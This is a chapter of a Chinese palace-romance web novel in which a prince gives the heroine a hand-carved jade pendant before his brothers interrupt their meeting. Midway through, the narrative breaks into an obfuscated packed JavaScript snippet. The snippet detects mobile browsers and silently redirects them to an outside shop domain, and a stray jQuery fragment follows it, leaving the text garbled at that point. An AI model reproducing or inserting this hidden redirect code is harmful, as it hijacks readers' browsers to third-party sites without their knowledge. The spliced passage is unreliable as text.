“这件事情父皇讳莫如深,前朝楚家的余党拥趸也不敢多加置喙。是以我能探听到的消息不多,大概就是二皇兄因为想要增加联姻被父皇厌弃,似乎今后也没有翻身、登上那个位置的机会了。”
五皇子府的桂花林里,一对少年男女窃窃私语。
五皇子眼含真诚的歉意:“二姑娘……镜,镜光,如今皇祖母抱恙,我无法直接和父皇说赐婚的事情,你等等我。”
镜光本来也是要等的,毕竟,她还准备这两天找个说辞和母亲们坦白呢。幸好现在赐婚不成,不然家里面一定会吓一大跳!
“我信你。”
一身绿意的少女笑意吟吟,头上的珍珠发梳若隐若现。
她对襟竹青色大褂金绣的桂花在茂密的桂花林下,似乎也散发无尽清香。
“嗯,镜光。”
随着心上人名字的再一次说出口,五皇子的脸颊更添红艳。
那双比羊脂白玉还要洁白的手指伸进衣襟,掏出了一枚散发微光的莹润玉佩:
“父皇紧急把我调往西北监军,我预计要半年才能归来。不过镜光放心,我已经和宫中的贵母妃和珍母妃,就是三弟四弟的母亲都有所请示,娘娘们也应允了。有她们看着,你不用担心这段时间会有其他意外的婚事。”
“等我回来。”
五皇子试探性地托住镜光戴着几个叮当作响的金镯的手,将那暖乎乎的玉佩放在了女孩的手心。
“是暖的!”玉佩触手的一瞬间,镜光忍不住惊呼。
单说玉佩,她见过的不少,但这样暖融融的养身之物,却只在传闻中听过。
据说在前朝皇室,也只有几位盛极一时的宠妃得到过赏赐呢。
更何况这枚玉佩,不仅质地上佳、细腻无比,还是狸奴扑花的形状呢!虽然雕刻得马马虎虎,可是细看下来情态可爱,更让人心生喜欢了。
五皇子将玉佩送出后,立即收回双手,掩盖住手心的红痕。
“听闻镜光去年此时有过一场大病,我只恨当时未与你相识相知、不能替你承受痛苦。”
“今年你的生辰快要到了,我却即将远行。就让这块玉佩作为我的心意,在生辰当日陪伴镜光左右吧。”
一阵微风吹过,金色的桂花和尚未凋零的碧叶摇晃而落,正是:
此时无酒人自醉,西风拂落一丛金。
眼尖的镜光看见了少男手中的红印,便也知晓了这手艺不算精湛的雕刻来自哪个外行。
镜光的心,这一刻,也暂时忽略掉五皇子的惊世容颜,而是随着晃到步摇上的花瓣一起,摇摇晃晃。
“谢谢你。”她正色道。
“谢谢你,为了你的心意,为了你亲自雕刻的玉佩,为了这一树金桂。”
五皇子大喜,浓墨重彩的五官流露出纯然的喜悦:
“我就知道你喜欢桂花!在设计的时候,内务府问我有什么喜好,我满脑子就想,要是……要是有朝一日你过来,看见这样的景色,定会喜欢。”
“这世上没有人比你更配桂花了。”
镜光“扑哧”笑出声来:“你这样说、你有这样的心意我很高兴,可是要‘没人配得上桂花’,那可真真是胡说了。”
“万事万物,都是自然奇珍、造化恩赐,我要说这是我的专属,那可真是老天都要看不下去了!”
“不过——”她晶亮的眼睛坦率直视五皇子的眼睛,“我真的谢谢你把我的喜好放在心上,我真的喜欢桂花。”
也许是天意吧,去年生日之后,她忙着表姐的事情,在明化寺丢了桂花;
这一年,她也没心思赏花游玩,但今日的满园芬芳,已经填满了她的心房。
听到“明化寺”三个字,五皇子愣了一下,随后声音颤颤:“明化寺的桂花……可是被风儿吹落的绒花?我……”
镜光征然一瞬,旋即笑出了酒窝。
原来她和他的缘分,早已开始了。
天香林中,初识情踪;
原来早已,红线牵动。
人悄悄,影重重。
眉欲语,意已通。(注)
镜光知道,自古以来,“女也不爽,士贰其行。士也罔极,二三其德”者众多。但至少此刻,对方的心意,是一瞬间的地久天长。(注)
不过——
“你说你托付了三皇子和四皇子的母妃看顾我,怎么不提李贵嫔娘娘呢?”
李贵嫔,算来才是五皇子的养母啊。
说到这里,五皇子也有些不自在:
“二皇兄‘生病’了,大皇兄觉得他还是很有希望的,如今也不爱和我多说话……我不敢惊动养母。”
他倒不是觉得镜光哪里不对,但是她真的太敏锐太能思考联想了,敏锐到像是一把随时准备割去痈疮的锋利匕首,有时候让他无所遁形。
镜光眼波一转。
结合之前两人说过的话,秒懂!
原来的情况是老大老二分庭抗礼;今年春闱,两人都被拉下了泥潭,手上一部分事情移交给了三四五。
如今,二皇子失去了夺嫡的希望,老大又觉得天晴了、他行了,再加上承德帝满意于老五的表现有意历练,这回可不就是最大的和最小的兄弟二人杠上了吗?
说是如此,镜光直觉:
大皇子对以往的“跟班”产生忌惮,很有可能,是当初属于自己的利益被转移给了对方;
而承德帝应该对大皇子,也没有多少期待了。
“陛下——”
镜光刚想继续问些什么,一道兴味盎然的清亮少年声音打断了她。
——“来,四弟,咱们看看五弟的院子!”
“哎哟,三皇子殿下,您等等奴才通报啊!”后面,五皇子的贴身太监丰茂追得气喘吁吁。
正是不请自来的三皇子。
他今日参观完自己的府邸,兴致正浓,也没个打招呼就跑到了四皇子府转了一圈。
眼看四弟那名为“皇子府”实为“皇家寺庙别院”的烟火缭绕,他暗道老四实在是无趣。
趁四皇子不注意,无法无天的三皇子,拽着弟弟脖子上的佛珠,就把他拉到了五皇子这边。
按照惯例,依旧是不打招呼就来了。
听到打扰约会的哥哥的声音,瞬间,五皇子本来阳光灿烂的脸,都要和落下的叶子一样绿了。
这个三哥,可真会挑时候。
看见五皇子五官发皱、面如菜色,镜光几乎要哈哈大笑了。
这几个皇子,确实是足够奇葩,也足够有趣。
眼见桂花林视角宽阔,也没个隐藏的地方,镜光自己做出了决定:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765068|205799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我看林子边有个厢房,不知用在何处?如果方便的话,我便在那里休息片刻,殿下招待皇子们就好。”
反正她带来的其他仆从都在客房暂时休息,她找个地方躲着,回头悄悄离开也就是了。
五皇子刚想说他出去打发兄长送客,可“扰人约会”的声音越发嚣张,简直就是在两人的耳膜上徘徊。
“五弟啊,五弟——”
那边三皇子的嗓门越来越大,暗骂不停的五皇子也只能让镜光暂避。
所幸那里是本来准备用作观景书房的地方,布置雅致,也不会委屈佳人。
镜光抿嘴一笑,向五皇子眨眨眼睛,扭身到了那全新的书房,侧身就着书房的门窗,观察桂花园新来的访客。
镜光:暗中观察O_o
她刚刚站定,就看见两个少年和青年之间的郎君,一个拉着一个闯入林子。
准确地说,是前一个一身红衣、黑发高束的年轻男子一马当先,强拽后面那位素绿棉袍的男子往前走。
前头的桀骜不驯,一看背影便知,这就是那日酔来楼下鲜衣怒马的少年;
后门跟着的清俊文静,很是乖巧的样子,被兄长拉着东西左右地摇摆。
这是镜光的第一感觉。
两人站在五皇子的面前,和重新换上客气笑容的主人家寒暄。
也不知他们说了什么,两位皇子开始转身抬头,欣赏起这五皇子特别要求吩咐的芳香院落了。
就在他们转头的一刹那,能张目对日、细观万物纹理的镜光,隔着数丈的距离,清楚地看见了两位来客的脸:
一个桀骜张扬、挺胸昂首,凤眼微挑、笑唇轻勾。
那样的笑不是五皇子展颜时明媚鲜艳的笑,而是带了点痞气和天不怕地不怕的邪气。
他满身不驯的恣意就像是跳动的火焰,时时勾着人靠近,又害怕受到烧灼……但是莫名让人感觉有点莽和憨;
而另一个,面容俊秀、温润如玉,眼睛里盛满了宁静与淡然,配上他的衣服,更像是深山古刹的苍松翠竹了。
他的一举一动都不急不缓,温和与宁静,就像是他与生俱来的特质。
好看,都好看;
这个好看,那个也好看!
颜控镜光对眼前的场景看了又看,满意得不得了。
一瞬间,镜光突然理解了,为什么皇帝们有一个美人还不知足,要搞出来三宫六院了。
换作她,看见这么多各有千秋的美人,只有更喜欢的道理!
光是眼前的三兄弟,就已经分别是灿如骄阳、皎似皓月、色比春花了,而天下美人千千万万,只会让她更加心动。
她简直不敢想象,如果将这些美人通通笑纳,她将会是个多么快乐的小女孩!
甚至还能分给表姐表妹好几个!
不过出于目前的限制,镜光还是暂停了这样的想法。
回家的马车上,她的遗憾叹息引起了莳雨的问候。
“好莳雨,你说,要是同时摆在你面前的有三盘美味的点心,一盘内里红艳艳的梅花饼、一碗夏日清爽的绿豆沙、还有一碟黄澄澄的蛋黄酥,你却只能选择一份,是不是太可惜了?”
莳雨深以为然。
并建议镜光转道去香满城:
这些点心,她的姑娘都要拥有!